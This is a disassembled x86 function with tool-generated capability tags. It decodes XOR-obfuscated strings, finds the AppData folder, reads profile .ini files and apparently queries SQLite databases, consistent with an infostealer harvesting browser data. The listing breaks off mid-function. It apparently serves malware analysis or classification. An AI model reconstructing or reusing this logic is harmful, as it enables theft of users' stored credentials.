Function at 0x43a9a0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506960
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1490
push ebx
call fcn.004dd930
push esi
mov esi, ecx
mov dword [ebp - 0xe4], esi
push edi
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.00467470
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x18], 1
mov eax, esp
lea ecx, [ebp - 0x98]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004638a0
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x38], 0x98988381
mov dword [ebp - 0x34], 0x969c82
mov byte [ebp - 0x30], 1
nop
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 7
jb 0x43aa40
lea eax, [ebp - 0x38]
mov byte [ebp - 0x30], 0
push eax
mov ecx, esi
call fcn.00469b20
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0x98]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x90]
mov byte [ebp - 0x98], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x98]
mov dword [edi + 8], eax
mov dword [ebp - 0x90], edx
mov dword [ebp - 0x8c], esi
call fcn.00463500
push 0x104
lea eax, [ebp - 0x4a0]
push 0
push eax
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x4a0]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x4a0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43aad5
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x43bc2f
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x4a0]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x160]
call fcn.0046d420
mov dword [ebp - 0x18], 0x41
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x60], 0x83999ab5
mov dword [ebp - 0x5c], 0x9583878b
mov dword [ebp - 0x58], 0x9a9adc82
mov word [ebp - 0x54], 0x9c
mov byte [ebp - 0x52], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x60], al
inc ecx
cmp ecx, 0xd
jb 0x43ab40
lea ecx, [ebp - 0x60]
mov byte [ebp - 0x52], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ab57
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x150]
sub eax, edx
cmp eax, ecx
jb 0x43bc34
cmp dword [ebp - 0x14c], 0x10
lea eax, [ebp - 0x160]
push ecx
cmovae eax, dword [ebp - 0x160]
lea ecx, [ebp - 0x60]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x148]
call fcn.0046d420
mov esi, 0xc1
mov dword [ebp - 0x18], esi
mov byte [ebp - 4], 5
lea eax, [ebp - 0x148]
cmp dword [ebp - 0x134], 0x10
cmovae eax, dword [ebp - 0x148]
push eax
push 0x1000
lea eax, [ebp - 0x14a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea edi, [ebp - 0x14a0]
mov dword [ebp - 0xbc], edi
nop
mov dword [ebp - 0x72], 0x8a8498b9
xor ecx, ecx
mov dword [ebp - 0x6e], 0x8a8284
mov byte [ebp - 0x6a], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x72], al
inc ecx
cmp ecx, 7
jb 0x43abf4
push 7
lea eax, [ebp - 0x72]
mov byte [ebp - 0x6a], 0
push eax
push edi
call fcn.004ea1ae
add esp, 0xc
test eax, eax
jne 0x43bb42
push 0x104
push eax
lea eax, [ebp - 0x398]
push eax
call fcn.004debb0
add esp, 0xc
mov dword [ebp - 0x47], 0x849f8bb9
cmp dword [ebp - 0x134], 0x10
lea edx, [ebp - 0x148]
mov word [ebp - 0x43], 0x100
cmovae edx, dword [ebp - 0x148]
xor ecx, ecx
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x47], al
inc ecx
cmp ecx, 4
jb 0x43ac54
push edx
push 0x104
lea eax, [ebp - 0x398]
mov byte [ebp - 0x42], 0
push eax
push 0
lea eax, [ebp - 0x47]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x3b]
mov word [ebp - 0x3b], 0x5c
mov byte [ebp - 0x39], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ac90
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x150]
sub eax, edx
cmp eax, ecx
jb 0x43bc2f
cmp dword [ebp - 0x14c], 0x10
lea eax, [ebp - 0x160]
push ecx
cmovae eax, dword [ebp - 0x160]
lea ecx, [ebp - 0x3b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd4]
call fcn.0046d420
or esi, 4
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x398]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xd4]
call fcn.00465770
or esi, 8
mov dword [ebp - 0x18], esi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1d4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x43ad60
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ad56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43bc39
push ecx
push edx
call fcn.004dcbd1
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0xc4], 0
lea ecx, [ebp - 0x398]
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ada2
sub ecx, edx
lea eax, [ebp - 0x398]
push ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.00402810
mov byte [ebp - 4], 9
lea edi, [ebp - 0xb0]
cmp dword [ebp - 0x9c], 0x10
mov esi, dword [ebp - 0xa0]
cmovae edi, dword [ebp - 0xb0]
test esi, esi
je 0x43aecf
push esi
push 0x2f
push edi
call fcn.004e03a0
add esp, 0xc
test eax, eax
je 0x43aecf
sub eax, edi
cmp eax, 0xffffffff
je 0x43aecf
sub esp, 0x18
mov word [ebp - 0x3e], 0x2f
mov edx, esp
mov byte [ebp - 0x3c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x3e]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ae30
sub ecx, esi
lea eax, [ebp - 0x3e]
push ecx
push eax
mov ecx, edx
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xb0]
mov ecx, esp
push eax
call fcn.00465a60
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 9
call fcn.0040c3e0
add esp, 0x30
mov byte [ebp - 4], 0xb
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x1b8]
mov esi, dword [ebp - 0x1bc]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xb0]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x43aeba
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x43aead
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.00465640
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 9
call fcn.00467c60
mov esi, dword [ebp - 0xa0]
cmp dword [ebp - 0x9c], 0x10
lea edi, [ebp - 0xb0]
cmovae edi, dword [ebp - 0xb0]
test esi, esi
je 0x43afc3
push esi
push 0x5c
push edi
call fcn.004e03a0
add esp, 0xc
test eax, eax
je 0x43afc3
sub eax, edi
cmp eax, 0xffffffff
je 0x43afc3
sub esp, 0x18
mov word [ebp - 0x41], 0x5c
mov edx, esp
mov byte [ebp - 0x3f], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x41]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43af36
sub ecx, esi
lea eax, [ebp - 0x41]
push ecx
push eax
mov ecx, edx
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0xb0]
mov ecx, esp
push eax
call fcn.00465a60
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 9
call fcn.0040c3e0
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x60]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xb0]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x43afb7
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x43afaa
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.00465640
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 9
call fcn.00467c60
mov dword [ebp - 0x85], 0x8d879ab5
xor ecx, ecx
mov dword [ebp - 0x81], 0xde9c8b8e
mov dword [ebp - 0x7d], 0x9d9f8382
mov dword [ebp - 0x79], 0x1009381
nop word [eax + eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x85], al
inc ecx
cmp ecx, 0xe
jb 0x43aff0
lea ecx, [ebp - 0x85]
mov byte [ebp - 0x76], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b010
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x1c4]
sub eax, edx
cmp eax, ecx
jb 0x43bc2f
cmp dword [ebp - 0x1c0], 0x10
lea eax, [ebp - 0x1d4]
push ecx
cmovae eax, dword [ebp - 0x1d4]
lea ecx, [ebp - 0x85]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x130]
call fcn.0046d420
mov esi, dword [ebp - 0x18]
or esi, 0x10
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x21], 0x100889b
xor ecx, ecx
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 2
jb 0x43b070
cmp dword [ebp - 0x11c], 0x10
lea ecx, [ebp - 0x21]
lea eax, [ebp - 0x130]
mov byte [ebp - 0x1e], 0
cmovae eax, dword [ebp - 0x130]
push ecx
push eax
call fcn.004e2a20
add esp, 8
test eax, eax
je 0x43ba4c
push eax
call fcn.004e62a8
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x90]
push 0
mov byte [ebp - 0x98], 0
call fcn.00467470
sub esp, 8
mov byte [ebp - 4], 0x10
mov eax, esp
lea ecx, [ebp - 0x108]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004638a0
add esp, 8
mov byte [ebp - 4], 0x11
mov al, byte [ebp - 0x98]
test al, al
jne 0x43b163
push 8
mov byte [ebp - 0x98], 1
call fcn.004dc950
mov esi, eax
add esp, 4
lea eax, [ebp - 0xb1]
mov dword [ebp - 0x190], esi
mov dword [ebp - 0x194], eax
mov byte [ebp - 4], 0x12
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004dc950
mov byte [ebp - 4], 0x11
add esp, 4
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x90], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x43b171
cmp al, 1
jne 0x43bc3e
mov esi, dword [ebp - 0x90]
lea eax, [ebp - 0xb0]
mov ecx, esi
push eax
call fcn.00467640
mov byte [ebp - 4], 0x10
mov edi, eax
mov cl, byte [ebp - 0x108]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x100]
mov byte [ebp - 0x108], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x108]
mov dword [edi + 8], eax
mov dword [ebp - 0x100], edx
mov dword [ebp - 0xfc], esi
call fcn.00463500
cmp dword [ebp - 0x11c], 0x10
lea ecx, [ebp - 0x130]
lea edx, [ebp - 0xb8]
cmovae ecx, dword [ebp - 0x130]
call fcn.004144f0
test eax, eax
jne 0x43b9f7
movaps xmm0, xmmword [0x5269e0]
xor ecx, ecx
movups xmmword [ebp - 0x28a], xmm0
mov dword [ebp - 0x20a], 0x2f382b49
movaps xmm0, xmmword [0x525110]
movups xmmword [ebp - 0x27a], xmm0
mov word [ebp - 0x206], 0x100
movaps xmm0, xmmword [0x525a00]
movups xmmword [ebp - 0x26a], xmm0
movaps xmm0, xmmword [0x5251f0]
movups xmmword [ebp - 0x25a], xmm0
movaps xmm0, xmmword [0x5251b0]
movups xmmword [ebp - 0x24a], xmm0
movaps xmm0, xmmword [str._LROTJL_]
movups xmmword [ebp - 0x23a], xmm0
movaps xmm0, xmmword [0x525670]
movups xmmword [ebp - 0x22a], xmm0
movaps xmm0, xmmword [0x524f70]
movups xmmword [ebp - 0x21a], xmm0
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x28a], al
inc ecx
cmp ecx, 0x84
jb 0x43b270
mov ecx, dword [ebp - 0xb8]
lea eax, [ebp - 0xe0]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x28a]
mov byte [ebp - 0x205], 0
call fcn.004c22d0
add esp, 0x14
test eax, eax
jne 0x43b9ec
mov edi, dword [ebp - 0xe0]
mov ecx, edi
call fcn.0049ec00
cmp eax, 0x64
jne 0x43b970
nop dword [eax + eax]
test edi, edi
je 0x43b31f
cmp dword [edi + 0x2c], 0
je 0x43b2fa
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x43b2fa
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b2f5
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x43b324
mov eax, dword [edi]
test eax, eax
je 0x43b31f
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b311
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d5c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049bad0
mov dword [ebp - 0x1c], eax
test edi, edi
je 0x43b3de
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43b36c
cmp byte [esi + 0x1e], 0
jne 0x43b34f
mov eax, esi
cmp ecx, 0xc0a
jne 0x43b367
push 0
push 7
push esi
call fcn.0048d5c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43b373
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b389
push eax
call dword [0x533d38]
add esp, 4
test edi, edi
je 0x43b3de
cmp dword [edi + 0x2c], 0
je 0x43b3b9
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x43b3b9
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b3b1
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x43b3e3
mov eax, dword [edi]
test eax, eax
je 0x43b3de
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b3d0
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d5c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049bad0
mov dword [ebp - 0x14], eax
test edi, edi
je 0x43b444
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43b427
cmp byte [esi + 0x1e], 0
jne 0x43b40a
mov edx, esi
cmp ecx, 0xc0a
jne 0x43b422
push 0
push 7
push esi
call fcn.0048d5c0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43b42e
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43b444
push eax
call dword [0x533d38]
add esp, 4
mov esi, dword [ebp - 0x1c]
xorps xmm0, xmm0
mov ecx, esi
mov word [ebp - 0x75], 0x29
mov byte [ebp - 0x73], 0
movups xmmword [ebp - 0x1ec], xmm0
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1d8], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b474
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x1ec]
call fcn.00402810
mov byte [ebp - 4], 0x15
xor ecx, ecx
movaps xmm0, xmmword [0x526a80]
movups xmmword [ebp - 0x18b], xmm0
mov dword [ebp - 0x16b], 0x656b2229
movaps xmm0, xmmword [0x525220]
movups xmmword [ebp - 0x17b], xmm0
mov dword [ebp - 0x167], 0x2d2f6e69
mov word [ebp - 0x163], 0x31
mov byte [ebp - 0x161], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x18b], al
inc ecx
cmp ecx, 0x29
jb 0x43b4d0
lea eax, [ebp - 0x1ec]
mov byte [ebp - 0x161], 0
push eax
lea edx, [ebp - 0x18b]
lea ecx, [ebp - 0x204]
call fcn.004698d0
add esp, 4
lea ecx, [ebp - 0x75]
mov byte [ebp - 4], 0x16
push ecx
mov ecx, eax
call fcn.00465770
or dword [ebp - 0x18], 2
xorps xmm0, xmm0
movups xmmword [ebp - 0xd4], xmm0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xc4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push 0
lea eax, [ebp - 0xdc]
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0xc0], 0x10
lea edx, [ebp - 0xd4]
mov ecx, dword [ebp - 0xb8]
cmovae edx, dword [ebp - 0xd4]
push eax
push 0
push 1
push 0xffffffffffffffff
call fcn.004c22d0
add esp, 0x14
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0xc0]
test eax, eax
sete byte [ebp - 0x1d]
cmp ecx, 0x10
jb 0x43b5d4
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b5ca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43bc39
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x1f0]
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
cmp ecx, 0x10
jb 0x43b62d
mov edx, dword [ebp - 0x204]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b623
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43bc39
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x1d8]
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0xf
mov byte [ebp - 0x204], 0
cmp ecx, 0x10
jb 0x43b686
mov edx, dword [ebp - 0x1ec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43b67c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43bc39
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp byte [ebp - 0x1d], 0
je 0x43b960
mov esi, dword [ebp - 0xdc]
mov ecx, esi
call fcn.0049ec00
cmp eax, 0x64
jne 0x43b960
lea eax, [ebp - 0xb2]
mov dword [ebp - 0x19c], eax
test esi, esi
je 0x43b701
cmp dword [esi + 0x2c], 0
je 0x43b6dc
xor eax, eax
cmp ax, word [esi + 0x30]
jae 0x43b6dc
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b6d7
push eax
call dword [0x533d30]
add esp, 4
mov ecx, dword [esi + 0x2c]
jmp 0x43b706
mov eax, dword [esi]
test eax, eax
je 0x43b701
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43b6f3
push eax
call dword [0x533d30]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048d5c0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049bad0
mov dword [ebp - 0x1c], eax
test esi, esi
je 0x43b767
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x43b74a
cmp byte [edi + 0x1e], 0
jne 0x43b72d
mov edx, edi
cmp ecx, 0xc0a
jne 0x43b745
push 0
push 7
push edi
call fcn.0048d5c0
mov byte [edi + 0x1e], 0
add esp, 0xc
mov edx, dword [esi]
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x43b751
mov eax, 0xff
mov edx, edi
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43b767
push eax
call dword [0x533d38]
add esp, 4
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x1a8]
push 0
mov byte [ebp - 0x1b0], 0
call fcn.00467470
mov byte [ebp - 4], 0x19
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x110], xmm0
mov byte [ebp - 0x118], 3
call fcn.004dc950
mov edi, eax
add esp, 4
mov dword [ebp - 0x198], edi
mov edx, dword [ebp - 0x1c]
xorps xmm0, xmm0
mov ecx, edx
mov byte [ebp - 4], 0x1a
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b7c7
sub ecx, esi
push ecx
push edx
mov ecx, edi
call fcn.00402810
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x110], edi
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov dword [ebp - 0x26], 0x87989c
mov byte [ebp - 0x22], 1
nop word [eax + eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 3
jb 0x43b800
lea eax, [ebp - 0x26]
mov byte [ebp - 0x22], 0
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00469b20
mov esi, eax
mov eax, dword [ebp - 0x10c]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x118], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x110], ecx
lea ecx, [ebp - 0x118]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x10c], edx
call fcn.00463500
push dword [ebp - 0x14]
call fcn.004ea4f6
add esp, 4
push 0
push 0xf4240
push edx
push eax
call fcn.005020d0
mov dword [ebp - 0x38], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x38]
mov dword [ebp - 0x34], edx
push eax
lea eax, [ebp - 0xf8]
mov byte [ebp - 0xf8], 0
push eax
movq qword [ebp - 0xf0], xmm0
call fcn.004768a0
mov byte [ebp - 4], 0x1c
xor eax, eax
mov dword [ebp - 0x4d], 0x8986839d
mov word [ebp - 0x49], 0x100
nop word [eax + eax]
lea ecx, [eax - 0x17]
xor byte [ebp + eax - 0x4d], cl
inc eax
cmp eax, 4
jb 0x43b8b0
lea eax, [ebp - 0x4d]
mov byte [ebp - 0x48], 0
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00469b20
mov byte [ebp - 4], 0x19
mov edi, eax
mov cl, byte [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xec]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0xf8], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xf8]
mov dword [edi + 8], eax
mov dword [ebp - 0xf0], edx
mov dword [ebp - 0xec], esi
call fcn.00463500
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x98]
call fcn.00463160
lea ecx, [ebp - 0x1b0]
push ecx
mov ecx, eax
call fcn.00462e80
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x10
call fcn.00463500
mov esi, dword [ebp - 0xdc]
mov ecx, esi
call fcn.0049ec00
cmp eax, 0x64
je 0x43b6b2
mov edi, dword [ebp - 0xe0]
mov ecx, edi
call fcn.0049ec00
cmp eax, 0x64
je 0x43b2d0
test edi, edi
je 0x43b9ec
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x43b98e
push eax
call dword [0x533d30]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x1c], 0
cmp eax, 0xbdf20da3
je 0x43b9a6
cmp eax, 0x519c2973
jne 0x43b9b0
mov ecx, edi
call fcn.0049da00
mov dword [ebp - 0x1c], eax
mov ecx, edi
call fcn.0049dc10
test esi, esi
je 0x43b9db
cmp byte [esi + 0x1e], 0
jne 0x43b9ca
cmp dword [ebp - 0x1c], 0xc0a
jne 0x43b9db
push 0
push 7
push esi
call fcn.0048d5c0
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x43b9ec
push eax
call dword [0x533d38]
add esp, 4
mov ecx, dword [ebp - 0xb8]
call fcn.00414920
mov dword [ebp - 0x69], 0x98988381
xor ecx, ecx
mov dword [ebp - 0x65], 0x969c82
mov byte [ebp - 0x61], 1
nop dword [eax + eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x69], al
inc ecx
cmp ecx, 7
jb 0x43ba10
mov ecx, dword [ebp - 0xe4]
lea eax, [ebp - 0x69]
push eax
mov byte [ebp - 0x61], 0
call fcn.00469b20
lea ecx, [ebp - 0x98]
push ecx
mov ecx, eax
call fcn.00462e80
lea ecx, [ebp - 0x98]
call fcn.00463500
mov esi, dword [ebp - 0x18]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x43ba8a
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ba80
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43bc39
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp ecx, 0x10
jb 0x43bae3
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43bad9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43bc39
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x1c0]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
cmp ecx, 0x10
jb 0x43bb3c
mov edx, dword [ebp - 0x1d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43bb32
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43bc39
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov edi, dword [ebp - 0xbc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
mov dword [ebp - 0xbc], edi
cmp byte [edi], 0
jne 0x43abe0
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x43bb95
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
